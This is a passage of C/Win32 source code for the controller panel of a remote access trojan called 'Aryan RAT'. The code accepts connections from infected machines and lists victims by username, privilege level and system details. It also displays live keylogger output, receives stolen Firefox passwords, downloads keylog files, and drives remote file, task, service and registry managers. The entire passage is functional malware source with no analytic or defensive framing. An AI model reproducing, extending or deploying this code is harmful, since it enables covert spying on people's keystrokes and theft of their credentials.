  5802.                   if((hostinfo = gethostbyname(name)) != NULL)
  5803.                   {
  5804.                         ip = inet_ntoa (*(struct in_addr *)*hostinfo->h_addr_list);
  5805.                   }
  5806.             }
  5807.  
  5808.             WSACleanup( );
  5809.       }
  5810.         SetWindowText(GetDlgItem(Dlg, IDC_IPADDRESS) ,ip);
  5811.         SetWindowText(GetDlgItem(Dlg, IDC_SERIVCENAME) , "Aryan RAT");
  5812.         SetWindowText(GetDlgItem(Dlg, IDC_MAINPORT) ,"1000");
  5813.         SetWindowText(GetDlgItem(Dlg, IDC_FILEPORT) , "1001");
  5814.  
  5815.             hImageList=ImageList_Create(16,16,ILC_COLOR16,20,30);
  5816.             ImageList_SetBkColor(hImageList,CLR_NONE);// Macro: 16x16:16bit with 2 pics [array]
  5817.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 16, 16, 0);                 // load the picture from the resource
  5818.             ImageList_AddIcon(hImageList, hIcon);                                 // Macro: Attach the image, to the image list
  5819.             DeleteObject(hIcon);
  5820.  
  5821.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_FLOPPY), IMAGE_ICON, 16, 16, 0);                // load the picture from the resource
  5822.             ImageList_AddIcon(hImageList, hIcon);                                 // Macro: Attach the image, to the image list
  5823.             DeleteObject(hIcon);
  5824.            
  5825.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_CD), IMAGE_ICON, 16, 16, 0);                // load the picture from the resource
  5826.             ImageList_AddIcon(hImageList, hIcon);                                     // Macro: Attach the image, to the image list
  5827.             DeleteObject(hIcon);
  5828.            
  5829.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_NETWORK), IMAGE_ICON, 16, 16, 0);               // load the picture from the resource
  5830.             ImageList_AddIcon(hImageList, hIcon);                                     // Macro: Attach the image, to the image list
  5831.             DeleteObject(hIcon);    // no need it after loading the bitmap
  5832.  
  5833.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_FOLDER), IMAGE_ICON, 16, 16, 0);                // load the picture from the resource
  5834.             ImageList_AddIcon(hImageList, hIcon);                                     // Macro: Attach the image, to the image list
  5835.             DeleteObject(hIcon);
  5836.  
  5837.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_STATIC), IMAGE_ICON, 16, 16, 0);                // load the picture from the resource
  5838.             ImageList_AddIcon(hImageList, hIcon);                                 // Macro: Attach the image, to the image list
  5839.             DeleteObject(hIcon);
  5840.  
  5841.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_FIREFOX), IMAGE_ICON, 16, 16, 0);               // load the picture from the resource
  5842.             ImageList_AddIcon(hImageList, hIcon);                             // Macro: Attach the image, to the image list
  5843.             DeleteObject(hIcon);
  5844.  
  5845.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_SERVICE), IMAGE_ICON, 16, 16, 0);               // load the picture from the resource
  5846.             ImageList_AddIcon(hImageList, hIcon);
  5847.  
  5848.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_FOLDER), IMAGE_ICON, 16, 16, 0);                // load the picture from the resource
  5849.             ImageList_AddIcon(hImageList, hIcon);
  5850.            
  5851.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_FILE), IMAGE_ICON, 16, 16, 0);                  // load the picture from the resource
  5852.             ImageList_AddIcon(hImageList, hIcon);
  5853.  
  5854.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_EXE), IMAGE_ICON, 16, 16, 0);               // load the picture from the resource
  5855.             ImageList_AddIcon(hImageList, hIcon);
  5856.  
  5857.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_COMPRESSED), IMAGE_ICON, 16, 16, 0);                // load the picture from the resource
  5858.             ImageList_AddIcon(hImageList, hIcon);
  5859.  
  5860.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_MEDIA), IMAGE_ICON, 16, 16, 0);                 // load the picture from the resource
  5861.             ImageList_AddIcon(hImageList, hIcon);
  5862.  
  5863.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_PICTURE), IMAGE_ICON, 16, 16, 0);               // load the picture from the resource
  5864.             ImageList_AddIcon(hImageList, hIcon);
  5865.  
  5866.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_TEXT), IMAGE_ICON, 16, 16, 0);                  // load the picture from the resource
  5867.             ImageList_AddIcon(hImageList, hIcon);
  5868.  
  5869.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_VIDEO), IMAGE_ICON, 16, 16, 0);                 // load the picture from the resource
  5870.             ImageList_AddIcon(hImageList, hIcon);
  5871.  
  5872.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_IE), IMAGE_ICON, 16, 16, 0);                // load the picture from the resource
  5873.             ImageList_AddIcon(hImageList, hIcon);
  5874.  
  5875.             DeleteObject(hIcon);
  5876.  
  5877.             cImageList=ImageList_Create(16,16,ILC_COLOR16,20,30);
  5878.             ImageList_SetBkColor(cImageList,CLR_NONE);// Macro: 16x16:16bit with 2 pics [array]
  5879.  
  5880.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_CONNECTION), IMAGE_ICON, 32, 32, 0);                // load the picture from the resource
  5881.             ImageList_AddIcon(cImageList, hIcon);                                 // Macro: Attach the image, to the image list
  5882.             DeleteObject(hIcon);
  5883.  
  5884.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_HIGHPING), IMAGE_ICON, 32, 32, 0);                  // load the picture from the resource
  5885.             ImageList_AddIcon(cImageList, hIcon);                                 // Macro: Attach the image, to the image list
  5886.             DeleteObject(hIcon);
  5887.  
  5888.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_MEDIUMPING), IMAGE_ICON, 32, 32, 0);                // load the picture from the resource
  5889.             ImageList_AddIcon(cImageList, hIcon);                                 // Macro: Attach the image, to the image list
  5890.             DeleteObject(hIcon);
  5891.  
  5892.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_LOWPING), IMAGE_ICON, 32, 32, 0);               // load the picture from the resource
  5893.             ImageList_AddIcon(cImageList, hIcon);                                 // Macro: Attach the image, to the image list
  5894.             DeleteObject(hIcon);
  5895.  
  5896.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_FILE_PLAY), IMAGE_ICON, 32, 32, 0);                 // load the picture from the resource
  5897.             ImageList_AddIcon(cImageList, hIcon);                                 // Macro: Attach the image, to the image list
  5898.             DeleteObject(hIcon);
  5899.  
  5900.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_FILE_PAUSE), IMAGE_ICON, 32, 32, 0);                // load the picture from the resource
  5901.             ImageList_AddIcon(cImageList, hIcon);                                 // Macro: Attach the image, to the image list
  5902.             DeleteObject(hIcon);
  5903.  
  5904.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_FILE_STOP), IMAGE_ICON, 32, 32, 0);                 // load the picture from the resource
  5905.             ImageList_AddIcon(cImageList, hIcon);                                 // Macro: Attach the image, to the image list
  5906.             DeleteObject(hIcon);
  5907.  
  5908.             hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_FILE_UP), IMAGE_ICON, 32, 32, 0);               // load the picture from the resource
  5909.             ImageList_AddIcon(cImageList, hIcon);                                 // Macro: Attach the image, to the image list
  5910.             DeleteObject(hIcon);
  5911.         //AnimateWindow(Dlg, 500, AW_BLEND);
  5912.        HwND = Dlg;
  5913.         /////////////////////////////////////////////////////////////
  5914.         //initiating Server list.
  5915.         ListView_SetExtendedListViewStyle(GetDlgItem(Dlg,IDC_SERVERLIST),LVS_EX_CHECKBOXES | LVS_EX_FULLROWSELECT);
  5916.         col.mask=LVCF_TEXT|LVCF_WIDTH|LVIF_IMAGE;
  5917.         col.cx=50;
  5918.  
  5919.         col.pszText="ID";
  5920.         ListView_InsertColumn(GetDlgItem(Dlg,IDC_SERVERLIST),0,&col);
  5921.         col.cx=100;
  5922.         col.pszText="UserName";
  5923.         ListView_InsertColumn(GetDlgItem(Dlg,IDC_SERVERLIST),1,&col);
  5924.         col.cx=100;
  5925.         col.pszText="User level";
  5926.         ListView_InsertColumn(GetDlgItem(Dlg,IDC_SERVERLIST),2,&col);
  5927.         col.cx=150;
  5928.         col.pszText="IP / Computer Name";
  5929.         ListView_InsertColumn(GetDlgItem(Dlg,IDC_SERVERLIST),3,&col);
  5930.         col.cx=230;
  5931.         col.pszText="OS / version";
  5932.         ListView_InsertColumn(GetDlgItem(Dlg,IDC_SERVERLIST),4,&col);
  5933.         col.cx=100;
  5934.         col.pszText="RAM";
  5935.         ListView_InsertColumn(GetDlgItem(Dlg,IDC_SERVERLIST),5,&col);
  5936.         col.cx=200;
  5937.         col.pszText="CPU";
  5938.         ListView_InsertColumn(GetDlgItem(Dlg,IDC_SERVERLIST),6,&col);
  5939.         col.cx=110;
  5940.         col.pszText="Screen Resolution.";
  5941.         ListView_InsertColumn(GetDlgItem(Dlg,IDC_SERVERLIST),7,&col);
  5942.         col.cx=100;
  5943.         col.pszText="Server Version.";
  5944.         ListView_InsertColumn(GetDlgItem(Dlg,IDC_SERVERLIST),8,&col);
  5945.  
  5946.         ListView_SetImageList(GetDlgItem(Dlg, IDC_SERVERLIST),cImageList, LVSIL_SMALL);
  5947.         /////////////////////////////////////////////////////////////
  5948.         //initiating Logs list
  5949.         ListView_SetExtendedListViewStyle(GetDlgItem(Dlg,IDC_LOGS), LVS_EX_FULLROWSELECT);
  5950.         col.mask=LVCF_TEXT|LVCF_WIDTH;
  5951.         col.cx=180;
  5952.         col.pszText="Date & Time";
  5953.         ListView_InsertColumn(GetDlgItem(Dlg,IDC_LOGS),0,&col);
  5954.         col.cx=180;
  5955.         col.pszText="Operation";
  5956.         ListView_InsertColumn(GetDlgItem(Dlg,IDC_LOGS),1,&col);
  5957.         col.cx=200;
  5958.         col.pszText="About";
  5959.         ListView_InsertColumn(GetDlgItem(Dlg,IDC_LOGS),2,&col);
  5960.         col.cx=80;
  5961.         col.pszText="Fail/Pass";
  5962.         ListView_InsertColumn(GetDlgItem(Dlg,IDC_LOGS),3,&col);
  5963.         /////////////////////////////////////////////////////////////
  5964.         //initiating ConnectionStatus's
  5965.         ListView_SetExtendedListViewStyle(GetDlgItem(Dlg,IDC_CONNECTIONSTATUS), LVS_EX_FULLROWSELECT);
  5966.         col.mask=LVCF_TEXT|LVCF_WIDTH;
  5967.         col.cx=80;
  5968.         col.pszText="Socket";
  5969.         ListView_InsertColumn(GetDlgItem(Dlg,IDC_CONNECTIONSTATUS),0,&col);
  5970.         col.cx=80;
  5971.         col.pszText="Status";
  5972.         ListView_InsertColumn(GetDlgItem(Dlg,IDC_CONNECTIONSTATUS),1,&col);
  5973.         col.cx=180;
  5974.         col.pszText="Last updated";
  5975.         ListView_InsertColumn(GetDlgItem(Dlg,IDC_CONNECTIONSTATUS),2,&col);
  5976.        
  5977.        SendMessage (GetDlgItem(Dlg, IDC_SERVERLIST),LVM_SETBKIMAGE,0,(LPARAM)(LPLVBKIMAGE) &IBBkImg);
  5978.       hStatus = CreateWindowEx(0, STATUSCLASSNAME, NULL,
  5979.       WS_CHILD | WS_VISIBLE | SBARS_SIZEGRIP, 0, 0, 0, 0,
  5980.       Dlg, (HMENU)IDC_MAIN_STATUS, GetModuleHandle(NULL), NULL);
  5981.        
  5982.        
  5983.  
  5984.         SendMessage(hStatus, SB_SETPARTS, 4, (LPARAM)statwidths);
  5985.         SendMessage(hStatus, SB_SETTEXT, 0, (LPARAM)"Connection status: Not listening");
  5986.         sprintf(filename, "Ports: %d & %d", ServerPort, FilePort);
  5987.         SendMessage(hStatus, SB_SETTEXT, 1, (LPARAM)filename);
  5988.         ZeroMemory(filename, sizeof(filename));
  5989.         sprintf(filename, "Sent: %dBytes / Recv: %dBytes", SentKb, RecvKb);
  5990.         SendMessage(hStatus, SB_SETTEXT, 2, (LPARAM)filename);
  5991.         SendMessage(hStatus, SB_SETTEXT, 3, (LPARAM)"Connections: 0");
  5992.  
  5993.        
  5994.     tie.mask = TCIF_TEXT | TCIF_IMAGE;  
  5995.     tie.pszText = "Server List";
  5996.    
  5997.     TabCtrl_InsertItem(GetDlgItem(Dlg, IDC_TAB3), 0, &tie);
  5998.  
  5999.     tie.mask = TCIF_TEXT | TCIF_IMAGE;  
  6000.     tie.pszText = "Logs";
  6001.    
  6002.     TabCtrl_InsertItem(GetDlgItem(Dlg, IDC_TAB3), 1, &tie);
  6003.  
  6004.     tie.mask = TCIF_TEXT | TCIF_IMAGE;  
  6005.     tie.pszText = "Setting's";
  6006.    
  6007.     TabCtrl_InsertItem(GetDlgItem(Dlg, IDC_TAB3), 2, &tie);
  6008.  
  6009. /*  tie.mask = TCIF_TEXT | TCIF_IMAGE;  
  6010.     tie.pszText = "Build";
  6011.    
  6012.     TabCtrl_InsertItem(GetDlgItem(Dlg, IDC_TAB3), 3, &tie);*/
  6013.  
  6014.              GetClientRect(Dlg, &rc);
  6015.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGS ),SW_HIDE);
  6016.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGS2 ),SW_HIDE);
  6017.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGTEXT1 ),SW_HIDE);
  6018.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGTEXT ),SW_HIDE);
  6019.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGTEXT2 ),SW_HIDE);
  6020.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGTEXT3 ),SW_HIDE);
  6021.              ShowWindow(GetDlgItem(Dlg, IDC_IPADDRESS ),SW_HIDE);
  6022.              ShowWindow(GetDlgItem(Dlg, IDC_FILEPORT ),SW_HIDE);
  6023.              ShowWindow(GetDlgItem(Dlg, IDC_MAINPORT ),SW_HIDE);
  6024.              ShowWindow(GetDlgItem(Dlg, IDC_SERIVCENAME ),SW_HIDE);
  6025.              ShowWindow(GetDlgItem(Dlg, IDC_MAINPORT ),SW_HIDE);
  6026.              ShowWindow(GetDlgItem(Dlg, IDC_KEYSCOLOUR),SW_HIDE);
  6027.              ShowWindow(GetDlgItem(Dlg, IDC_KEYSCOLOUR2),SW_HIDE);
  6028.              ShowWindow(GetDlgItem(Dlg, IDC_KEYSCOLOUR3),SW_HIDE);
  6029.              ShowWindow(GetDlgItem(Dlg, IDC_KEYCOLOUR),SW_HIDE);
  6030.              ShowWindow(GetDlgItem(Dlg, IDC_KEYCOLOUR2),SW_HIDE);
  6031.              ShowWindow(GetDlgItem(Dlg, IDC_KEYCOLOUR3),SW_HIDE);
  6032.              ShowWindow(GetDlgItem(Dlg, IDC_KEYLOGGERCOLOURS),SW_HIDE);
  6033.              //
  6034.              ShowWindow(GetDlgItem(Dlg, IDC_TEXTNORMAL),SW_HIDE);
  6035.              ShowWindow(GetDlgItem(Dlg, IDC_TIME),SW_HIDE);
  6036.              ShowWindow(GetDlgItem(Dlg, IDC_WINDOWTEXT),SW_HIDE);
  6037.  
  6038.              ShowWindow(GetDlgItem(Dlg, IDC_BACKGROUND),SW_HIDE);
  6039.              ShowWindow(GetDlgItem(Dlg, IDC_KEYCOLOUR4),SW_HIDE);
  6040.              ShowWindow(GetDlgItem(Dlg, IDC_KEYSCOLOUR4),SW_HIDE);
  6041.              
  6042.              ShowWindow(GetDlgItem(Dlg, IDC_OKSETTING),SW_HIDE);
  6043.  
  6044.              ShowWindow(GetDlgItem(Dlg, IDC_LOGS),SW_HIDE);
  6045.              MoveWindow(GetDlgItem(Dlg, IDC_LOGS),0,0,rc.right, rc.bottom - 50, TRUE);
  6046.  
  6047.              ShowWindow(GetDlgItem(Dlg, IDC_SERVERLIST ),SW_SHOW);
  6048.              MoveWindow(GetDlgItem(Dlg, IDC_SERVERLIST),0,0,rc.right, rc.bottom - 50, TRUE);
  6049.              MoveWindow(GetDlgItem(Dlg, IDC_TAB3),0,0,rc.right, rc.bottom - 20, TRUE);           
  6050.              MoveWindow(hStatus,0,rc.bottom - 20,rc.right, 20, TRUE);
  6051.                
  6052.              ZeroMemory(filename, sizeof(filename));
  6053.              sprintf(filename, "%d", dwTextColor);
  6054.              SetWindowText(GetDlgItem(Dlg, IDC_KEYCOLOUR) ,filename);
  6055.  
  6056.              ZeroMemory(filename, sizeof(filename));
  6057.              sprintf(filename, "%d",dwTimeColor );
  6058.              SetWindowText(GetDlgItem(Dlg, IDC_KEYCOLOUR2) ,filename);
  6059.  
  6060.              ZeroMemory(filename, sizeof(filename));
  6061.              sprintf(filename, "%d", dwTitleColor);
  6062.              SetWindowText(GetDlgItem(Dlg, IDC_KEYCOLOUR3) ,filename);
  6063.  
  6064.              ZeroMemory(filename, sizeof(filename));
  6065.              sprintf(filename, "%d", dwBackColor);
  6066.              SetWindowText(GetDlgItem(Dlg, IDC_KEYCOLOUR4) ,filename);
  6067.         break;
  6068. ///////////////////////////////////////////////////////////////////////////////////////////////////////    
  6069.     case RATMSG_SOCKET:
  6070.         Event=WSAGETSELECTEVENT(lParam);
  6071.         switch(Event)
  6072.         {
  6073.         case FD_CLOSE:
  6074.    
  6075.             break;
  6076. /////////////////////////////////////////////////////////////////////////////////////////////
  6077.         case FD_ACCEPT:
  6078.             while(Client[S] != NULL)
  6079.             {
  6080.             S++;
  6081.             if(S == 1025)
  6082.             {
  6083.             Connections++;
  6084.             strcpy(ConnectionsA, "");
  6085.             sprintf(ConnectionsA, "Connections: %d - Connection limit reached.",Connections);
  6086.             SendMessage(hStatus, SB_SETTEXT, 3, (LPARAM)ConnectionsA);
  6087.             S= 0;
  6088.             }
  6089.             }
  6090.            
  6091.             Head.PacketType = PACKET_ADD_ID;
  6092.             Client[S]=accept(wParam,(LPSOCKADDR)&ServAdr,&AdrLen);
  6093.             Head.ID = S;
  6094.             S++;
  6095.             SentKb+=send(Client[Head.ID], (char *)&Head, sizeof(Head), 0);
  6096. ////////////////////////////////////////////////////////////////////////////////////////////
  6097.             Connections++;
  6098.             strcpy(ConnectionsA, "");
  6099.             sprintf(ConnectionsA, "Connections: %d",Connections);
  6100.             SendMessage(hStatus, SB_SETTEXT, 3, (LPARAM)ConnectionsA);
  6101.             break;
  6102. /////////////////////////////////////////////////////////////////////////////////////////////
  6103.         case FD_READ:
  6104.         RecvKb+=recv(wParam,(char*)&Recv,RecvSize,0);
  6105.    
  6106.             switch (Recv.PacketType)
  6107.             {
  6108.         /*  case PACKET_CMD_RECV:
  6109.                  hEdit = GetDlgItem (CmdHwnd[Recv.ID], IDC_CMD1);
  6110.                  ndx = GetWindowTextLength (hEdit);
  6111.                  SetFocus (hEdit);
  6112.                  SendMessage (hEdit, EM_SETSEL, (WPARAM)ndx, (LPARAM)ndx);
  6113.                 // MessageBox(NULL, Recv.Data, "Recv.Data", MB_OK);
  6114.                  SendMessage (hEdit, EM_REPLACESEL, 0, (LPARAM) ((LPSTR) Recv.Data));
  6115.                  break;*/
  6116.             case PACKET_PROGRAM_FILES:
  6117.                 SetProg(Recv.Buf, Recv.Data, Recv.ID);
  6118.                 break;
  6119.             case PACKET_FILE_MANAGER_DRIVE:
  6120.                  SetDrive(Recv.Data, Recv.ID);
  6121.                  break;
  6122.             case DONE:
  6123.                 NumberF = ListView_GetItemCount(GetDlgItem(SearchHwnd[Recv.ID],IDC_SEARCHLIST));
  6124.                 sprintf(Number, "%d Files Found!", NumberF);
  6125.                 SendMessage(GetDlgItem(SearchHwnd[Recv.ID],IDC_SEARCH_STATUS), SB_SETTEXT, 0, (LPARAM)Number);
  6126.                 break;
  6127.             case PACKET_FILE_MANAGER_FILE:
  6128.                  SetFile(Recv.Data, Recv.ParentPID, Recv.ID, Recv.ID2, Recv.ID3);
  6129.                  break;
  6130.             case PACKET_USER_JOINED:
  6131.                  SetServer(Recv.Buf, Recv.Buf2, Recv.Buf3, Recv.Data, Recv.ParentPID, Recv.PID, Recv.PRIORITY, Recv.Threads, Recv.IDS);
  6132.                  break;
  6133.             case PACKET_COMPUTER_SHUTDOWN:
  6134.                  MessageBox(NULL, Recv.Data, "Alert", MB_OK | MB_ICONINFORMATION);
  6135.             case PACKET_TASK_MANAGER:
  6136.                  SetProc(Recv.Data, Recv.PID, Recv.ParentPID, Recv.Threads, Recv.PRIORITY, Recv.Buf ,Recv.ID);
  6137.                  break;
  6138.             case PACKET_TASK_MANAGER_TASKS:
  6139.                  SetTask(Recv.Data,Recv.Buf ,Recv.ID);
  6140.                  break;
  6141.             case PASSWORD_FIREFOX:
  6142.                 SetPasswords(Recv.Buf3, Recv.Buf, Recv.Data, Recv.ID, Recv.ID2);
  6143.                 break;
  6144.             case PACKET_SERVICE_MAN:
  6145.                 SetServices(Recv.Data, Recv.Buf2, Recv.Buf3, Recv.Buf, Recv.ID);
  6146.                 break;
  6147.             case PACKET_FILE_MANAGER_SEARCH:
  6148.                  SetSearch(Recv.Data, Recv.ID);
  6149.                  break;
  6150.             case PACKET_KEYLOGGER:
  6151.                   hEdit = GetDlgItem (KeyHwnd[Recv.ID], IDC_KEYS);
  6152.                  ndx = GetWindowTextLength (hEdit);
  6153.                  SetFocus (hEdit);
  6154.                  SendMessage (hEdit, EM_SETSEL, (WPARAM)ndx, (LPARAM)ndx);
  6155.  
  6156.            
  6157.  
  6158.             memset( &cf, 0, sizeof(CHARFORMAT) );      //  Initialize structure
  6159.  
  6160.             cf.cbSize = sizeof(CHARFORMAT);             //  Initialize RichEdit
  6161.             cf.dwMask = CFM_COLOR | CFM_FACE | CFM_SIZE;  //  control structure
  6162.             cf.crTextColor = dwTextColor;
  6163.             cf.yHeight = 32;
  6164.             strcpy( cf.szFaceName, "MS Sans Serif" );
  6165.                               //  Set character formatting and background color
  6166.                  SendDlgItemMessage(KeyHwnd[Recv.ID], IDC_KEYS, EM_SETCHARFORMAT, SCF_SELECTION, (LPARAM)&cf );
  6167.                  SendMessage (hEdit, EM_REPLACESEL, 0, (LPARAM) ((LPSTR) Recv.Data));
  6168.                  break;
  6169.  
  6170.             case PACKET_KEYLOGGER_WINDOW:
  6171.                  GetTime();
  6172.                  strcpy(Buffer, "\r\n \r\n[");
  6173.                  strcat(Buffer, Time);
  6174.                  Buffer[strlen(Buffer) -1] = '\0';
  6175.                  strcat(Buffer, "]");
  6176.  
  6177.                  hEdit = GetDlgItem (KeyHwnd[Recv.ID], IDC_KEYS);
  6178.                  ndx = GetWindowTextLength (hEdit);
  6179.                  SetFocus (hEdit);
  6180.                  SendMessage (hEdit, EM_SETSEL, (WPARAM)ndx, (LPARAM)ndx);
  6181.                  
  6182.                  memset( &cf, 0, sizeof(CHARFORMAT) );      //  Initialize structure
  6183.  
  6184.                 cf.cbSize = sizeof(CHARFORMAT);             //  Initialize RichEdit
  6185.                 cf.dwMask = CFM_COLOR | CFM_FACE | CFM_SIZE;  //  control structure
  6186.                 cf.crTextColor = dwTimeColor;
  6187.                 cf.yHeight = 32;
  6188.                 strcpy( cf.szFaceName, "MS Sans Serif" );
  6189.                               //  Set character formatting and background color
  6190.                  SendDlgItemMessage( KeyHwnd[Recv.ID], IDC_KEYS, EM_SETCHARFORMAT, SCF_SELECTION, (LPARAM)&cf );
  6191.                  SendMessage (hEdit, EM_REPLACESEL, 0, (LPARAM) ((LPSTR) Buffer));
  6192.                  strcpy(Buffer, "[");
  6193.                  strcat(Buffer, Recv.Data);
  6194.                  strcat(Buffer, "] \r\n  \r\n");
  6195.                  
  6196.                  hEdit = GetDlgItem (KeyHwnd[Recv.ID], IDC_KEYS);
  6197.                  ndx = GetWindowTextLength (hEdit);
  6198.                  SetFocus (hEdit);
  6199.                  SendMessage (hEdit, EM_SETSEL, (WPARAM)ndx, (LPARAM)ndx);
  6200.                  
  6201.                  memset( &cf, 0, sizeof(CHARFORMAT) );      //  Initialize structure
  6202.  
  6203.                 cf.cbSize = sizeof(CHARFORMAT);             //  Initialize RichEdit
  6204.                 cf.dwMask = CFM_COLOR | CFM_FACE | CFM_SIZE;  //  control structure
  6205.                 cf.crTextColor = dwTitleColor;
  6206.                 cf.yHeight = 32;
  6207.                 strcpy( cf.szFaceName, "MS Sans Serif" );
  6208.                               //  Set character formatting and background color
  6209.                  SendDlgItemMessage( KeyHwnd[Recv.ID], IDC_KEYS, EM_SETCHARFORMAT, SCF_SELECTION, (LPARAM)&cf );
  6210.                  SendMessage (hEdit, EM_REPLACESEL, 0, (LPARAM) ((LPSTR) Buffer));
  6211.                  break;
  6212.             case PACKET_KEYLOG_OPEN:
  6213.                    
  6214.                
  6215.                    CreateDirectory("Users",NULL);
  6216.                    
  6217.                        strcat(userra, Recv.ID5);
  6218.                      
  6219.                        CreateDirectory(userra,NULL);
  6220.        
  6221.                             strcat(namreee,Recv.ID5);
  6222.                             strcat(namreee,"\\");
  6223.                             strcat(namreeee,namreee);
  6224.                             strcpy(namreeeee,namreee);
  6225.                             strcat(namreeeee,Recv.Data);
  6226.                  Logs[Recv.ID] = fopen(namreeeee, "wb");
  6227.                  sprintf(Buffer, "%d", Recv.ID2);
  6228.                  SendMessage(GetDlgItem(KeyHwnd[Recv.ID],IDC_PROGRESSA), PBM_SETRANGE32 , 0, Recv.ID2);
  6229.                  SendMessage(GetDlgItem(KeyHwnd[Recv.ID],IDC_PROGRESSA), PBM_SETPOS , (WPARAM)0, 0);
  6230.                  //MessageBox(NULL, "CLIENT OPENED LOGS!", "LOLS", MB_OK);
  6231.                  break;
  6232.             case PACKET_KEYLOG_OFFLINE:
  6233.                  fclose(Logs[Recv.ID]);
  6234.                
  6235.                               //  Set character formatting and background color
  6236.                  SendMessage(GetDlgItem(KeyHwnd[Recv.ID],IDC_TASK_STATUS), SB_SETTEXT, 0, (LPARAM)"Downloaded Logs."); 
  6237.                 hFile = CreateFile(Recv.Data, GENERIC_READ, FILE_SHARE_READ, NULL,OPEN_EXISTING, 0, NULL);
  6238.                  if(hFile != INVALID_HANDLE_VALUE)
  6239.                 {
  6240.                  DWORD dwFileSize;
  6241.  
  6242.                 dwFileSize = GetFileSize(hFile, NULL);
  6243.                 if(dwFileSize != 0xFFFFFFFF)
  6244.                 {
  6245.                 pszFileText = (char *)GlobalAlloc(GPTR, dwFileSize + 1);
  6246.                      if(pszFileText != NULL)
  6247.                      {
  6248.                         DWORD dwRead;
  6249.  
  6250.                         if(ReadFile(hFile, pszFileText, dwFileSize, &dwRead, NULL))
  6251.                         {
  6252.                        pszFileText[dwFileSize] = 0; // Add null terminator
  6253.                        
  6254.                      if(SetWindowText(GetDlgItem(KeyHwnd[Recv.ID],IDC_KEYS2), pszFileText))
  6255.                      {
  6256.                      }
  6257.                      else
  6258.                      {
  6259.                         // MessageBox(NULL, "It did not work!", "Fail", MB_OK);
  6260.                      }
  6261.                          
  6262.                         }
  6263.                 GlobalFree(pszFileText);
  6264.                      }
  6265.                 }
  6266.         CloseHandle(hFile);
  6267.              }
  6268.  
  6269.                  break;
  6270.             case PACKET_KEYLOG_DOWNLOAD:
  6271.  
  6272.  
  6273.  
  6274.  
  6275.                  fwrite(Recv.Data, Recv.ID3, 1, Logs[Recv.ID]);
  6276.                  //sprintf(Buffer, "%d", Recv.ID2);
  6277.                  //MessageBox(NULL, Buffer, "Buffer", MB_OK);
  6278.                  break;
  6279.             case PACKET_KEYLOG_DOWNLOAD_UPDATE:
  6280.                
  6281.                 break;
  6282.             case PACKET_REG_MANAGER:
  6283.                     switch(Recv.ID2)
  6284.                     {
  6285.                     case 0:
  6286.                      AddKeyFolder(Recv.Data, Recv.ID);
  6287.                      break;
  6288.                     case 1:
  6289.                      RegKeyValue(Recv.Data,Recv.Buf, Recv.ID3,Recv.ID); //
  6290.                      break;
  6291.                     }
  6292.                     break;
  6293.  
  6294.                  break;
  6295.             }
  6296.    
  6297.                
  6298.         }
  6299.              
  6300.         break;
  6301.  
  6302.     case WM_SIZING:
  6303.             switch(wParam)
  6304.             {
  6305.             case WMSZ_BOTTOM:
  6306.              GetClientRect(Dlg, &rc);
  6307.              MoveWindow(GetDlgItem(Dlg, IDC_SERVERLIST),0,0,rc.right - 3, rc.bottom - 50, TRUE);
  6308.              MoveWindow(GetDlgItem(Dlg, IDC_LOGS),0,0,rc.right - 3, rc.bottom - 50, TRUE);
  6309.              MoveWindow(GetDlgItem(Dlg, IDC_TAB3),0,0,rc.right, rc.bottom - 20, TRUE);
  6310.              MoveWindow(hStatus,0,rc.bottom - 20,rc.right, 20, TRUE);
  6311.             break;
  6312.             case WMSZ_BOTTOMLEFT:
  6313.                  GetClientRect(Dlg, &rc);
  6314.              MoveWindow(GetDlgItem(Dlg, IDC_SERVERLIST),0,0,rc.right - 3, rc.bottom - 50, TRUE);
  6315.              MoveWindow(GetDlgItem(Dlg, IDC_LOGS),0,0,rc.right - 3, rc.bottom - 50, TRUE);
  6316.              MoveWindow(GetDlgItem(Dlg, IDC_TAB3),0,0,rc.right, rc.bottom - 20, TRUE);
  6317.              MoveWindow(hStatus,0,rc.bottom - 20,rc.right, 20, TRUE);
  6318.             break;
  6319.             case WMSZ_BOTTOMRIGHT:
